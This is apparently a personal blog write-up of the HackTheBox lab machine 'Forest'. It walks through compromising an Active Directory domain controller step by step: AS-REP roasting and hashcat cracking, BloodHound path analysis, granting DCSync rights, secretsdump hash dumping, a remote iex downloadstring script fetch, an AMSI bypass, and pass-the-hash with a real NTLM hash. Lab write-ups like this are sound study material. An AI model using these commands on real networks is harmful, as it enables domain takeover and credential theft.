Box 9: HTB - Forest

One of the neat things about HTB is that it exposes Windows concepts unlike any CTF I’d come across before it. Forest is a great example of that.

Victor Le
13 min readJul 2, 2022


I’ve been on the journey to achieve CRTP examnination. Therefore, Active Directory pentesting is my interest at present moment.

IP Address:

HackTheBox - Forest


Reconnaisance with usual nmap tool:

nmap -sV -sC -n -A -p- -vvv -T4

Scan results:

53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2022-03-15 13:17:22Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds syn-ack ttl 127 Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
47001/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49676/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49684/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49703/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49933/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC

Detect a lot of services running on this machine ^^ maybe it’s a Domain controller??

A little cheat: Ping the target’s IP — ping

64 bytes from icmp_seq=1 ttl=127 time=251 ms

→ Based on TTL=127, guess this’s a Windows machine.


  • For Windows, TTL=128 — ping result: 64 < TTL < 128
  • For Linux, FreeBSD: TTL=64 — ping result: TTL < 64
  • For Cisco router: TTL~255

Next, Let’s check every single port detected…

Port 139,445: SMB — microsoft-ds

Use command to check: smbclient -L

→ Anonymous success, but no share listed

Port 53 TCP: DNS — this’s a DNS server? (Tips from IppSec)

nslookup > Enter → to enter Interactive mode of nslookup.

server → These commands change the default server to this target server

Query for some IPs as the following:

  • → Exact IP of target

→ Result: DNS could not leak hostname

There’s no juicy result

Port 464 — tcp,udp used for Kerberos Change/Set password:

Required ports to communicate with Domain Controller

Port 593 — RPC over HTTP

There’s no any interesting thing

We don’t need to care the higher port number 49xxx. These are local ports, used by Task Scheduler, Spooler, Eventlog, Skype… You can’t disable these unless you stop the processes listening on these ports. (Reference:

Port 389, 636 — LDAP

Find the BaseDN

Let’s use ldapsearch to do some enumeration

ldapsearch -h -x -s base namingcontexts

→ Result:

Find all user sAMAccountName in this domain

ldapsearch -h -b "dc=htb,dc=local" -x "objectclass=User" sAMAccountName | grep sAMAccountName

→ Result:

# requesting: sAMAccountName 
sAMAccountName: Guest
sAMAccountName: DefaultAccount
sAMAccountName: FOREST$
sAMAccountName: EXCH01$
sAMAccountName: $331000-VK4ADACQNUCA
sAMAccountName: SM_2c8eef0a09b545acb
sAMAccountName: SM_ca8c2ed5bdab4dc9b
sAMAccountName: SM_75a538d3025e4db9a
sAMAccountName: SM_681f53d4942840e18
sAMAccountName: SM_1b41c9286325456bb
sAMAccountName: SM_9b69f1b9d2cc45549
sAMAccountName: SM_7c96b981967141ebb
sAMAccountName: SM_c75ee099d0a64c91b
sAMAccountName: SM_1ffab36a2f5f479cb
sAMAccountName: HealthMailboxc3d7722
sAMAccountName: HealthMailboxfc9daad
sAMAccountName: HealthMailboxc0a90c9
sAMAccountName: HealthMailbox670628e
sAMAccountName: HealthMailbox968e74d
sAMAccountName: HealthMailbox6ded678
sAMAccountName: HealthMailbox83d6781
sAMAccountName: HealthMailboxfd87238
sAMAccountName: HealthMailboxb01ac64
sAMAccountName: HealthMailbox7108a4e
sAMAccountName: HealthMailbox0659cc1
sAMAccountName: sebastien
sAMAccountName: lucinda
sAMAccountName: andy
sAMAccountName: mark
sAMAccountName: santi

Enumerate the Password policy

Use commands: crackmapexec smb --pass-pol [-u '' -p ''] - (all things in [] are optional)



→ Result:

Enumerate LDAP with rpcclient

Use command with anonymous(null) authentication:

rpcclient -U '' -N

Note: Without -N flag, it will prompt the error message “Cannot connect to server. Error was NT_STATUS_IO_TIMEOUT

Next, use help to show all options → use enumdomusers to enumerate all domain users:

→ Detect another user svc-alfresco ,which is not discovered by the ldapsearch query.

Still within rpcclient session, from RID of this user 0x47b , we use other options to query the groups of which this user is a member. Check the command: queryusergroups 0x47b

→ Next, check the group names:

querygroup <group_rid>


Search and access the directory that contains the Impacket tools:

Use command to navigate: locate impacket | grep examples

→ Move to that directory: cd /usr/share/doc/python3-impacket/examples/

Testing with script.

If this’s the first time you’ve heard about this attack method. Let’s visit the following article for more details. ASEPRoasting is similar to Kerberoasting in the sense that we query accounts for TGTs, get the hash, then crack it, however in the case of ASEPRoasting there’s a very big caveat: Kerberos pre-authentication must be disabled, which is not a default setting. When you request a TGT, via a Kerberos AS-REQ message, you also supply a timestamp that is encrypted with your username and password. The Key Distribution center (KDC) then decrypts the timestamp, verifies the request is coming from that user, then continues with the authentication process. This is the pre-authentication process for Kerberos, which is obviously a problem for an attacker because we aren’t the KDC and cannot decrypt that message. Of course, this is by design, to prevent attacks, however if pre-authentication is turned off, we can send an AS-REQ to any user which will return their hashed password in return. Since pre-auth is enabled by default, it has to be manually turned off, so this is rare, however still worth mentioning.

Research into ASP-Req Pre-auth Attack:

Function: “Queries target domain for users who are set with ‘Do not require Kerberos preauthentication’ option and export their TGTs for cracking”

Use the following command to query this box:

python3 ./ -dc-ip -request 'htb.local/'

-dc-ip ip address: IP Address of the domain controller. If ommited, it use the domain part (FQDN) specified in the target parameter

-request : Requests TGT for users and output them in JtR/hashcat format (default False)

-format {hashcat,john} : format to save the AS_REQ of users without pre-authentication. Default is hashcat

Note: python3 ./ -dc-ip -request '**htb.local\\**' → This command doesn’t work. It showed error message: “Domain should be specified!”. Notice the forward slash/.

→ Result after running:

Yupp!! I got the hash “KrbAsRep” from user svc-alfresco → From here, we can leverage the Hashcat tool to crack this hash.

Some tips with Hashcat

Search for examples of hash type, such as Kerberos AS_REP in this case:

hashcat --example-hashes | grep -i krb

--example-hashes : Show an example hash for each hash-mode

grep -i : Grep and ignore case-sensitive, check whether this hash sample exists

→ From the hash example above, let check the hash type (mode) number that we need to crack:

hashcat --example-hashes | less

Next, use the forward slash (/) to search the key term: krb5asrep

Mode: 18200 — that’s all we need.

Now let’s start with hashcat cracking:

hashcat -m 18200 /home/thanhlc/HTB/Forest/hash_svc-alfresco /usr/share/wordlists/rockyou.txt

→ Result after minutes:


I found the password for this user: s3rvice

Use tool evil-winrm to remote access this machine with the credential we got before

Download resources: git clone <>

To run this tool, use: cd /opt/evil-winrm

./evil-winrm.rb -i -u '<username>' -p '<password>'

After logging in successfully with evil-winrm, check the current user who you’re looting: whoami /all.

Then navigate somewhere and get the user.txt flag:

Privilege Escalation

Begin the PrivEsc journey — with utilizing Bloodhound framework

Create a file share on Kali with impacket-smbserver command, then target machine can be connected to this fileshare and download malicious payloads.


**impacket-smbserver** <Share_name> <Share_path> -smb2support -user <username> -password <password>

→ Fox example: impacket-smbserver PleaseSubscribe $(pwd) -smb2support -user thanhlc -password P@ssw0rd

If this’s the first time of you with Bloodhound framework, pls peruse this documentation for guide.

Download Bloodhound from Github:

git clone [<>](<>)

Notice: From BloodHound GUI, select the proper queries from the left navigator → AnalysisPre-Built Analytics QueriesShortest Path to … (This way to which several write-ups on internet suggested, however, I cannot be successful with this way. Therefore, I tried another road.)

→ I decided to remove the current Bloodhound from apt remove --purge bloodhound

From Blooudhound Github, i downloaded the latest version 4.1.0

Bloodhound on Windows

It is possible to analyze and enumerate BloodHound directly from a Windows machine as well. This can be helpful in the Environments that restrict the deployment of Kali Linux and other attacker tools. The process remains more or less the same. We need to set up the Data Ingestor, BloodHound GUI, and neo4j database on Windows Machine as we did in Linux earlier. To begin, we will be installing the Data Ingestor for Windows that is named Sharphound. The difference between the Linux Investor and Windows Investor is that instead of crafting JSON files, the SharpHound creates a compressed file that includes CSV files. The data collection method remains the same. (Details here)

Besides, this tool on Windows is similar to tool bloodhound-python on Linux/Unix.

Here, we need to copy this Sharphound tool from Kali machine to the target machine.

Search for sharphound.exe in Kali with: find . | grep exe$ → Result: ./Collectors/DebugBuilds/SharpHound.exe

Copy this application to smb fileshare on Kali machine:

cp ./Collectors/DebugBuilds/SharpHound.exe <smb_full_path>

Next, set up a smb fileshare and publish to the target machine:

impacket-smbserver thanhsmb $(pwd) -smb2support -user thanhlc -password Admin@123

From evil-winrm session on target machine, use the following PowerShell commands to download Sharphound tool from file share (Tips from ippsec):

$pass = convertto-securestring 'Admin@123' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential('thanhlc', $pass)

New-PSDrive -Name thanhsmb -PSProvider FileSystem -Credential $cred -Root \\\\\\thanhsmb

After connect file share successfully, navigate the share with: cd <share_name>: (Notice the colon: at the end) → use command dir to view all the contents existing in this share.

Run tool SharpHound: .\\SharpHound.exe -c all

-c all : Collect all information

After the AD enumeration is completed, it automatically generate a compressed file which is used to fed into the bloodhound application.

Pick up, Drag and drop it to bloodhound GUI:

Drag & drop the compressed file

In the lookup bar, type and search for the current user svc-alfresco → Enter

Next, righ-click on the user object → select “Mark User as Owned

Double clicking on the node should display it’s properties on the right. It’s found that svc-alfresco is a member of 9 groups through nested membership. Click on number 9 to reveal the membership graph.

One of the nested groups is found to be Account Operators , which is a privileged AD group. According to the documentation, members of the Account Operators group are allowed create and modify users and add them to non-protected groups. Let’s note this and look at the paths to Domain Admins. Click on Queries and select Shortest Path to High Value targets.

Next, from the left Navigator, select user svc-alfresco@htb.local → select Node InfoOverview → select Reachable High Value Targets

The result:

From the above figure, we can see that svc-alfresco is a member of the group Service Accounts which is a member of the group Privileged IT Accounts, which is a member of Account Operators group. Moreover, the Account Operators group has GenericAll permissions on the Exchange Windows Permissions group, which also has WriteDacl permissions on the domain.

This was a mouthful, so let’s break it down.

  • svc-alfresco is not just a member of Service Accounts, but is also a member of the groups Privileged IT Accounts and Account Operators.
  • The Account Operators group grants limited account creation privileges to a user. Therefore, the user **svc-alfresco can create other users on the domain.
  • The Account Operators group has GenericAll permission on the Exchange Windows Permissions group. This permission essentially gives members full control of the group and therefore, allows members to directly modify group membership. Since svc-alfresco **is a member of Account Operators, he is able to modify the permissions of the Exchange Windows Permissions group.
  • The Exchange Windows Permission group has WriteDacl permission on the domain HTB.LOCAL. This permission allows members to modify the DACL (Discretionary Access Control List) on the domain. We’ll abuse this to grant ourselves DCSync privileges, which will give us the right to perform domain replication and dump all the password hashes from the domain.

→ Putting all the pieces together, the following is our attack path.

  1. Create a user on the domain. This is possible because svc-alfresco is a member of the group Account Operators.
  2. Add the user to the Exchange Windows Permission group. This is possible because **svc-alfresco has GenericAll permissions on the Exchange Windows Permissions group.
  3. Give the user DCSync privileges. This is possible because the user is a part of the Exchange Windows Permissions group which has WriteDacl permission on the htb.local **domain.
  4. Perform a DCSync attack and dump the password hashes of all the users on the domain.
  5. Perform a Pass the Hash attack to get access to the administrator’s account.

Alright, let’s get started!!

1. Create a user on the domain with net command.

net user thanhlc Admin@123 /add /domain

2. Add the new user to to the Exchange Windows Permission group.

net group "Exchange Windows Permissions" /add thanhlc

3. Confirm that the user was added to the group:

net user thanhlc

4. Fetch the PowerView tool on attacker machine and set up a web server to host it:

wget <>

python3 -m http.server 5555

5. On the target machine, run PS command to download PowerView tool from our Kali and import it to the current session:

iex(new-object net.webclient).downloadstring('<>')

5.1. In the evil-winrm session, in case we can’t download the PowerView tool from another host, let’s try use command menu → select the option: Bypass-4MSI. This can be useful to evade defender before importing the script.

6. Follow the instruction from BloodHound, we have to add the DCSync privilege for the malicious user:

$pass = convertto-securestring 'Admin@123' -AsPlainText -Force

$cred = New-Object System.Management.Automation.PSCredential('htb\\thanhlc', $pass)

Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity thanhlc -Rights DCSync

7. After adding the privilege successfully, let’s use secretsdump script from Impacket tools to begin the DCSync attack, which can now be run as thanhlc. This tool is used to reveal the NTLM hashes for all domain users. Mark that Administrator account is the most important target.

impacket-secretsdump htb.local/thanhlc:Admin@123@

8. Then, use the crackmapexec tool (a swiss army knife for pentesting Windows/Active Directory environments) to crack the real password of this user:

crackmapexec smb -u Administrator -H <password hash>

Finally, after achieving the password hash of Administrator user, We can launch the Pass-the-hash attack to control this machine under admin’s context. Using impacket/psexec tool to shoot it:

Warning: Prepend python3 at the beginning to avoid the import errors: “ImportError: No module named impacket.examples.”. I missed this stuff everytime i use impacket tool.

python3 ./ -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 administrator@

View the content of flag root.txt → Done

Lesson Learned:

  • AS-REP Roasting Attack
  • Learn to use some AD Enumeration tools, such as: ldapsearch, enum4linux, rpcclient, smbclient, especially BloodHound...
  • Pass-the-hash Attack with tool crackmapexec,
  • How to host and download, execute PowerView script to launch some attacks

Finally, I end the 9th box here on my journey to study OSCP. All comments and criticisms from you will help me make much progress. It gonna be a long road ahead 💪